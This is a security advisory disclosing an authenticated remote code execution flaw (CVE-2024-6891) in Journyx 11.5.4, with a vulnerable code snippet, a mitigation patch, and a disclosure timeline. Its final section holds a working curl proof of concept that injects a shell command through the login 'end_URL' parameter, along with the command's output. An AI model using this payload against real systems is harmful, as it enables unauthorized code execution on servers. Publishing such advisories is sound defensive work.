Journyx 11.5.4 Authenticated Remote Code Execution

KL-001-2024-008: Journyx Authenticated Remote Code Execution

Title: Journyx Authenticated Remote Code Execution
Advisory ID: KL-001-2024-008
Publication Date: 2024.08.07
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-008.txt

1. Vulnerability Details

   Affected Vendor: Journyx
   Affected Product: Journyx (jtime)
   Affected Version: 11.5.4
   Platform: GNU/Linux
   CWE Classification: CWE-94: Improper Control of Generation of Code
   (‘Code Injection’), CWE-95: Improper Neutralization
   of Directives in Dynamically Evaluated Code
   (‘Eval Injection’)
   CVE ID: CVE-2024-6891

2. Vulnerability Description

   Attackers with a valid username and password can exploit
   a python code injection vulnerability during the natural
   login flow.

3. Technical Description

   When utilizing a username and password to authenticate to
   Journyx via the web interface, an HTTP request is sent to
   “wtlogin.pyc” containing the credentials. Upon a successful
   login, the user is redirected to “wte.pyc” or the URL specified
   in the “end_URL” body parameter if one is supplied.

   An additional condition is present, however. If the
   “end_URL” value is over 1,000 characters, the value is instead
   interpolated into a python “import” statement which is passed
   into the "exec()" function, thereby executing arbitrary code.

   Code snippet from "wtlogin.pyc":

   finalURL = end_URL + ‘.pyc?’ + genlib.URLEncodeParams(params)
   if len(finalURL) < 1000:
   raise genlib.HTTP302Found(finalURL)
   else:
   exec('import %s; %s.main()' % (end_URL, end_URL))

   The “params” variable is derived from the query parameters
   included in the login request, so the size of “finalURL”
   is trivial to inflate.

4. Mitigation and Remediation Recommendation

   The vendor reports that this issue was remediated in Journyx
   v12.0.0, which is the first wholly cloud-hosted version of
   this product.

   For self-hosted instances of JournyX, additional security
   measures (such as input sanitization) can be added by monkey
   patching the PYC file responsible for handling request
   parameters (mycgi.pyc).

   1. Rename “mycgi.pyc” to an alternative name, e.g. mycgi_original.pyc.
      $ mv wt_tar/pi/pylib/wtlib/mycgi.py wt_tar/pi/pylib/wtlib/mycgi_original.py

   2. Create a file named “mycgi.py” in the same directory.
      $ touch wt_tar/pi/pylib/wtlib/mycgi.py

   3. Insert the following code into the newly created “mycgi.py”

      from mycgi_original import *
      from html import escape

      def patch():
      pdata = _parse()

        # force the value of "end_URL" to always be "wte"  
        if pdata.get('end_URL'): pdata['end_URL'] = ['wte']
      
        # sanitize user-controlled error messages  
        for parameter in ['error', 'error_description']:  
            if not pdata.get(parameter): continue  
            pdata[parameter] = [escape(value) for value in pdata[parameter]]
      
        return pdata
      

      _parse = parse
      parse = patch

   Once these changes have been made, the JournyX native "mycgi.parse()"
   function will be overwritten with the "patch()" function located in the
   “mycgi.py” file. Relevant to this advisory, the patch provided above
   will force the “end_URL” parameter to always have a value of "wte".

5. Credit

   This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

   2024.01.31 - KoreLogic notifies Journyx support of the intention to
   report vulnerabilities discovered in the licensed,
   on-premises version of the product.
   2024.01.31 - Journyx acknowledges receipt.
   2024.02.02 - KoreLogic requests a meeting with Journyx support to share
   vulnerability details.
   2024.02.07 - KoreLogic reports vulnerability details to Journyx.
   2024.02.09 - Journyx responds that this vulnerability has been remediated
   in the cloud-hosted version of the product.
   2024.02.21 - KoreLogic offers to test the cloud version to confirm
   the fix; no response.
   2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.
   2024.07.09 - Journyx confirms version number of the remediation.
   2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

   By leveraging the existing “web” python module, it is possible
   to see the output of shell commands as returned by "os.popen()".

   [attacker@box]$ HOST=’redacted.com’; PORT=’8080’; USERNAME=’employee’; PASSWORD=’password123’; COMMAND=’id’; \
   curl -x http://localhost:8080 -X POST \
   -d
   “wtusername=$USERNAME&wtpassword=$PASSWORD&end_URL=os,web%0aweb.response.text%3dos.popen(‘$COMMAND’).read()#&timestamp=9999999999&pageid=$RANDOM”
   \
   -H ‘Cookie: wtsession=foobar’ \
   "http://$HOST:$PORT/jtcgi/wtlogin.pyc?z=$(printf ‘Z%.0s’ {1…1000})"

   uid=1000(foo) gid=1000(foo)
   groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)
   [attacker@box]$

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